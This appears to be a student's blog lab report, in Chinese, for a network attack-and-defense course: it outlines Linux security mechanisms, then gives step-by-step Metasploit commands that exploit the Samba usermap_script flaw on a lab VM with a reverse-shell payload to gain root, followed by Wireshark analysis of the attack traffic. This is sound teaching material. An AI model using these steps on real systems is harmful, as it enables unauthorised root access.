20211901 2021-2022-2《网络攻防实践》第七次作业

1.实验内容

1.1Linux操作系统基本框架概述

linux系统的优势
①跨平台的硬件支持
②丰富的软件支持
③多用户多任务
④可靠的安全性
⑤良好的稳定性
⑥完善的网络功能

Linux操作系统内核结构图

1.2Linux操作系统安全机制

Linux身份认证机制
Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户和用户组来进行用户身份管理
用户:执行进程完成特定操作任务的主体,包括Root根用户、普通用户和系统用户
用户组:具有相同特征的用户账号集合。
本地登录用户认证机制:对用户在控制台登录的认证过程
远程登录用户认证机制:普遍使用SSH服务进行远程用户登录,有基于口令的身份认证和基于非对称密钥的身份认证

Linux安全审计机制
主要通过三个主要的日志子系统实现
连接时间日志:系统管理员能跟踪谁在何时登录到系统
进程统计日志:为系统中的基本服务提供命令使用统计
错误日志记录:报告值得注意的事件

Linux授权与访问控制机制
虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统授权和访问控制
文件所有者:该文件属于哪个用户
文件访问权限:通过附带的10个标志位进行设置
文件的特殊执行权限:常见的SUID、SGID权限

1.3Linux系统远程攻防技术

对Linux系统的攻击方式包括以下这些
暴力破解
服务漏洞
权限提升
文件传输
木马后门
rootkit
端口转发和socks代理
隐蔽信道
物理攻击
痕迹清理

1.4Linux系统本地安全攻防技术

本地特权提升:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
Linux口令字破解:通过/etc/shadow文件中纪录的口令的哈希值,用户使用login进程登陆时系统将进行相同的哈希运算,然后对比,判断。

2.实验过程

2.1使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

设置渗透攻击参数(RHOST,LHOST,TARGET等);

执行渗透攻击;

查看是否正确得到远程Shell,并查看获得的权限。

首先将实验用到的虚拟机都设置为桥接模式

①输入指令msfconsole在kali中进入Metasploit,输入指令search usermap搜索漏洞,可以看出这是针对这个漏洞的渗透攻击模块。

②使用指令use exploit/multi/samba/usermap_script来进行对应脚本的攻击,接下来输入指令show payloads来获取payload类型。payload,翻译过来是有效载荷通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小、校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上“外套”就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload。在第18行出现了reverse tcp(tcp 反向连接),这里解释一下什么是tcp反向连接,攻击机设置一个端口(LPORT)和IP(LHOST),Payload在靶机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现靶机已经连接。

③接下来我们输入指令set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷

④输入指令set lhost 192.168.200.3和set rhost 192.168.200.125分别进行攻击机和靶机的ip地址的设置

⑤输入指令show options来确认相关信息的设置是否是正确的

⑥输入exploit开始执行攻击,输入指令whoami,可知是获得了root权限。

⑦输入指令ifconfig查询靶机IP,并去meta_ubuntu中对比靶机ip是否一致,对比发现是一致,表明攻击成功。

2.2攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

这个实验攻击机和靶机还是桥接模式,但是换了实验的地点,所以攻击机和靶机的ip地址还是变了,配置如下:

①实践二与实践一的流程基本一样,进入Metasploit,输入指令search usermap搜索漏洞-->使用指令use exploit/multi/samba/usermap_script来进行对应脚本的攻击-->set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷-->设置攻击机ip地址和靶机ip地址-->输入exploit开始执行攻击,这里不再赘述,只给出部分截图。

②在启动攻击前用wireshark抓包,经过分析可知,攻击者IP为222.28.136.219,目标IP为222.28.136.165,目标端口为139。139 端口是为“NetBIOS Session Service” 提供的, 主要用于提供Windows 文件和打印机共享以及 Unix 中的 Samba 服务。Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。在这里的攻击利用了Samba服务的漏洞。

③简单分析下连接的过程,首先是攻击机向靶机发送一个SMB的Negotiate Protocol Request数据报,然后靶机响应一个SMB的Negotiate Protocol Response数据报。然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。

④追踪第一个SMB数据包的TCP流,可知攻击机利用4444端口与靶机建立telnet服务。

⑤攻击发起的时间是从ARP协议的询问开始,打开第一个TCP数据包的具体信息,可以发现时间为2022年4月30日21点08分35秒。

⑥输入指令shell和id查看shell权限账户及其所在的权限组,输入指令whomai查看当前权限账户。

⑦在wireshark追踪对应的TCP流可以看见之前我们输入的命令

3.学习中遇到的问题及解决

  • 问题1:将Meta_ubuntu设置为桥接模式后,ip地址没有变化
  • 问题1解决方案:删除在第一次实验中的vmnet1的相关配置即可

4.学习感悟、思考等

本次实验不难,很快就能做完,分析部分也很容易

参考资料

  • 《网络攻防技术与实践》
posted @ 2022-05-01 11:03  只喝凉白开无糖拿铁  阅读(25)  评论(0编辑  收藏  举报